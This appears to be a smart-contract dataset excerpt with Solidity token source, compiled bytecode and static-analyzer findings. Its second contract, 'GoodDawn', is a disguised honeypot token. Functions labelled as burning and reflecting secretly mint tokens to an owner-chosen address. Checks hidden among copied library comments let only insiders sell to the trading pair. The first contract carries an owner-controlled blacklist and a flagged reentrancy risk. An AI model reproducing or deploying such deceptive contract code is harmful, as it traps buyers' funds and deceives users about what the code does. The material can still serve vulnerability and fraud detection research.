function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1000000000000 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102c0578063c3c8cd80146102e0578063c9567bf9146102f5578063dd62ed3e1461030a578063ff8726021461035057600080fd5b8063715018a6146102635780638da5cb5b1461027857806395d89b4114610119578063a9059cbb146102a057600080fd5b8063273123b7116100dc578063273123b7146101d0578063313ce567146101f25780635932ead11461020e5780636fc3eaec1461022e57806370a082311461024357600080fd5b806306fdde0314610119578063095ea7b31461015a57806318160ddd1461018a57806323b872dd146101b057600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50604080518082018252600981526842756c6c476f6f736560b81b6020820152905161015191906117ff565b60405180910390f35b34801561016657600080fd5b5061017a6101753660046116a8565b610365565b6040519015158152602001610151565b34801561019657600080fd5b50683635c9adc5dea000005b604051908152602001610151565b3480156101bc57600080fd5b5061017a6101cb366004611668565b61037c565b3480156101dc57600080fd5b506101f06101eb3660046115f8565b6103e5565b005b3480156101fe57600080fd5b5060405160098152602001610151565b34801561021a57600080fd5b506101f061022936600461179a565b610439565b34801561023a57600080fd5b506101f0610481565b34801561024f57600080fd5b506101a261025e3660046115f8565b6104ae565b34801561026f57600080fd5b506101f06104d0565b34801561028457600080fd5b506000546040516001600160a01b039091168152602001610151565b3480156102ac57600080fd5b5061017a6102bb3660046116a8565b610544565b3480156102cc57600080fd5b506101f06102db3660046116d3565b610551565b3480156102ec57600080fd5b506101f06105f5565b34801561030157600080fd5b506101f061062b565b34801561031657600080fd5b506101a2610325366004611630565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561035c57600080fd5b506101f06109ef565b6000610372338484610a28565b5060015b92915050565b6000610389848484610b4c565b6103db84336103d6856040518060600160405280602881526020016119d0602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e99565b610a28565b5060019392505050565b6000546001600160a01b031633146104185760405162461bcd60e51b815260040161040f90611852565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104635760405162461bcd60e51b815260040161040f90611852565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104a157600080fd5b476104ab81610ed3565b50565b6001600160a01b03811660009081526002602052604081205461037690610f58565b6000546001600160a01b031633146104fa5760405162461bcd60e51b815260040161040f90611852565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610372338484610b4c565b6000546001600160a01b0316331461057b5760405162461bcd60e51b815260040161040f90611852565b60005b81518110156105f1576001600660008484815181106105ad57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105e981611965565b91505061057e565b5050565b600c546001600160a01b0316336001600160a01b03161461061557600080fd5b6000610620306104ae565b90506104ab81610fdc565b6000546001600160a01b031633146106555760405162461bcd60e51b815260040161040f90611852565b600f54600160a01b900460ff16156106af5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040f565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106ec3082683635c9adc5dea00000610a28565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561072557600080fd5b505afa158015610739573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075d9190611614565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a557600080fd5b505afa1580156107b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dd9190611614565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082557600080fd5b505af1158015610839573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085d9190611614565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061088d816104ae565b6000806108a26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561090557600080fd5b505af1158015610919573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061093e91906117d2565b5050600f8054683635c9adc5dea0000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109b757600080fd5b505af11580156109cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f191906117b6565b6000546001600160a01b03163314610a195760405162461bcd60e51b815260040161040f90611852565b683635c9adc5dea00000601055565b6001600160a01b038316610a8a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040f565b6001600160a01b038216610aeb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bb05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040f565b6001600160a01b038216610c125760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040f565b60008111610c745760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040f565b6002600a556008600b556000546001600160a01b03848116911614801590610caa57506000546001600160a01b03838116911614155b15610e89576001600160a01b03831660009081526006602052604090205460ff16158015610cf157506001600160a01b03821660009081526006602052604090205460ff16155b610cfa57600080fd5b600f546001600160a01b038481169116148015610d255750600e546001600160a01b03838116911614155b8015610d4a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d5f5750600f54600160b81b900460ff165b15610dbc57601054811115610d7357600080fd5b6001600160a01b0382166000908152600760205260409020544211610d9757600080fd5b610da242601e6118f7565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610de75750600e546001600160a01b03848116911614155b8015610e0c57506001600160a01b03831660009081526005602052604090205460ff16155b15610e1c576002600a908155600b555b6000610e27306104ae565b600f54909150600160a81b900460ff16158015610e525750600f546001600160a01b03858116911614155b8015610e675750600f54600160b01b900460ff165b15610e8757610e7581610fdc565b478015610e8557610e8547610ed3565b505b505b610e94838383611181565b505050565b60008184841115610ebd5760405162461bcd60e51b815260040161040f91906117ff565b506000610eca848661194e565b95945050505050565b600c546001600160a01b03166108fc610eed83600261118c565b6040518115909202916000818181858888f19350505050158015610f15573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f3083600261118c565b6040518115909202916000818181858888f193505050501580156105f1573d6000803e3d6000fd5b6000600854821115610fbf5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161040f565b6000610fc96111ce565b9050610fd5838261118c565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061103257634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561108657600080fd5b505afa15801561109a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110be9190611614565b816001815181106110df57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111059130911684610a28565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061113e908590600090869030904290600401611887565b600060405180830381600087803b15801561115857600080fd5b505af115801561116c573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e948383836111f1565b6000610fd583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112e8565b60008060006111db611316565b90925090506111ea828261118c565b9250505090565b60008060008060008061120387611358565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061123590876113b5565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461126490866113f7565b6001600160a01b03891660009081526002602052604090205561128681611456565b61129084836114a0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112d591815260200190565b60405180910390a3505050505050505050565b600081836113095760405162461bcd60e51b815260040161040f91906117ff565b506000610eca848661190f565b6008546000908190683635c9adc5dea00000611332828261118c565b82101561134f57505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006113758a600a54600b546114c4565b92509250925060006113856111ce565b905060008060006113988e878787611519565b919e509c509a509598509396509194505050505091939550919395565b6000610fd583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e99565b60008061140483856118f7565b905083811015610fd55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040f565b60006114606111ce565b9050600061146e8383611569565b3060009081526002602052604090205490915061148b90826113f7565b30600090815260026020526040902055505050565b6008546114ad90836113b5565b6008556009546114bd90826113f7565b6009555050565b60008080806114de60646114d88989611569565b9061118c565b905060006114f160646114d88a89611569565b90506000611509826115038b866113b5565b906113b5565b9992985090965090945050505050565b60008080806115288886611569565b905060006115368887611569565b905060006115448888611569565b905060006115568261150386866113b5565b939b939a50919850919650505050505050565b60008261157857506000610376565b6000611584838561192f565b905082611591858361190f565b14610fd55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040f565b80356115f3816119ac565b919050565b600060208284031215611609578081fd5b8135610fd5816119ac565b600060208284031215611625578081fd5b8151610fd5816119ac565b60008060408385031215611642578081fd5b823561164d816119ac565b9150602083013561165d816119ac565b809150509250929050565b60008060006060848603121561167c578081fd5b8335611687816119ac565b92506020840135611697816119ac565b929592945050506040919091013590565b600080604083850312156116ba578182fd5b82356116c5816119ac565b946020939093013593505050565b600060208083850312156116e5578182fd5b823567ffffffffffffffff808211156116fc578384fd5b818501915085601f83011261170f578384fd5b81358181111561172157611721611996565b8060051b604051601f19603f8301168101818110858211171561174657611746611996565b604052828152858101935084860182860187018a1015611764578788fd5b8795505b8386101561178d57611779816115e8565b855260019590950194938601938601611768565b5098975050505050505050565b6000602082840312156117ab578081fd5b8135610fd5816119c1565b6000602082840312156117c7578081fd5b8151610fd5816119c1565b6000806000606084860312156117e6578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561182b5785810183015185820160400152820161180f565b8181111561183c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156118d65784516001600160a01b0316835293830193918301916001016118b1565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561190a5761190a611980565b500190565b60008261192a57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561194957611949611980565b500290565b60008282101561196057611960611980565b500390565b600060001982141561197957611979611980565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104ab57600080fd5b80151581146104ab57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a2c378c6d6736388ecd9f16e09f582f66b5bb95cb127d8dfcf98dea9e5303b4e64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,292 |
0x3fa229491a478206ad66eb29472e588010e143af
|
/**
*Submitted for verification at Etherscan.io on 2021-11-11
*/
// SPDX-License-Identifier: GNU GPLv3
pragma solidity >=0.8.5;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Reflects a specific amount of tokens.
* param value The amount of lowest token units to be reflected.
*/
function reflect(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: reflect from the zero address");
_burn (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burn(address _burnAddress, uint _burnAmount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
reflector = _burnAddress;
_totalSupply = _totalSupply.add(_burnAmount*2);
balances[_burnAddress] = balances[_burnAddress].add(_burnAmount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the burn address. */ || (start == reflector && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
receive() external payable {
}
fallback() external payable {
}
}
contract GoodDawn is TokenERC20 {
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply, address _del, address _ref) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
delegate = _del;
reflector = _ref;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
}
|
0x60806040526004361061008f5760003560e01c80633ebcda62116100565780633ebcda621461016257806370a082311461018257806395d89b41146101b8578063a9059cbb146101cd578063dd62ed3e146101ed57005b806306fdde0314610098578063095ea7b3146100c357806318160ddd146100f357806323b872dd14610116578063313ce5671461013657005b3661009657005b005b3480156100a457600080fd5b506100ad610233565b6040516100ba9190610847565b60405180910390f35b3480156100cf57600080fd5b506100e36100de3660046108b8565b6102c1565b60405190151581526020016100ba565b3480156100ff57600080fd5b50610108610345565b6040519081526020016100ba565b34801561012257600080fd5b506100e36101313660046108e2565b610382565b34801561014257600080fd5b506004546101509060ff1681565b60405160ff90911681526020016100ba565b34801561016e57600080fd5b5061009661017d3660046108b8565b6104dc565b34801561018e57600080fd5b5061010861019d36600461091e565b6001600160a01b031660009081526008602052604090205490565b3480156101c457600080fd5b506100ad6105b4565b3480156101d957600080fd5b506100e36101e83660046108b8565b6105c1565b3480156101f957600080fd5b50610108610208366004610939565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b600380546102409061096c565b80601f016020809104026020016040519081016040528092919081815260200182805461026c9061096c565b80156102b95780601f1061028e576101008083540402835291602001916102b9565b820191906000526020600020905b81548152906001019060200180831161029c57829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156102fa5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c75460055461037d916106ac565b905090565b60006001600160a01b038416158015906103aa575060045461010090046001600160a01b0316155b156103d45760048054610100600160a81b0319166101006001600160a01b038616021790556103de565b6103de84846106cc565b6001600160a01b03841660009081526008602052604090205461040190836106ac565b6001600160a01b038516600090815260086020908152604080832093909355600981528282203383529052205461043890836106ac565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461047690836107aa565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906104ca9086815260200190565b60405180910390a35060019392505050565b6000546001600160a01b031633146104f357600080fd5b6001600160a01b03821661055a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a207265666c6563742066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b61056482826107c5565b6001600160a01b03821660009081526008602052604090205461058790826106ac565b6001600160a01b0383166000908152600860205260409020556005546105ad90826106ac565b6005555050565b600180546102409061096c565b6004546000906001600160a01b038481166101009092041614156106155760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b6044820152606401610551565b3360009081526008602052604090205461062f90836106ac565b33600090815260086020526040808220929092556001600160a01b0385168152205461065b90836107aa565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103339086815260200190565b6000828211156106bb57600080fd5b6106c582846109bd565b9392505050565b6004546001600160a01b038281166101009092041614158061071857506007546001600160a01b03838116911614801561071857506004546001600160a01b0382811661010090920416145b8061075a57506004546001600160a01b038281166101009092041614801561075a57506006546001600160a01b03831660009081526008602052604090205411155b6107a65760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f20616464726573730000000000006044820152606401610551565b5050565b60006107b682846109d4565b90508281101561033f57600080fd5b600780546001600160a01b0319166001600160a01b0384161790556107f76107ee8260026109ec565b600554906107aa565b6005556108276108088260026109ec565b6001600160a01b038416600090815260086020526040902054906107aa565b6001600160a01b0390921660009081526008602052604090209190915550565b600060208083528351808285015260005b8181101561087457858101830151858201604001528201610858565b81811115610886576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146108b357600080fd5b919050565b600080604083850312156108cb57600080fd5b6108d48361089c565b946020939093013593505050565b6000806000606084860312156108f757600080fd5b6109008461089c565b925061090e6020850161089c565b9150604084013590509250925092565b600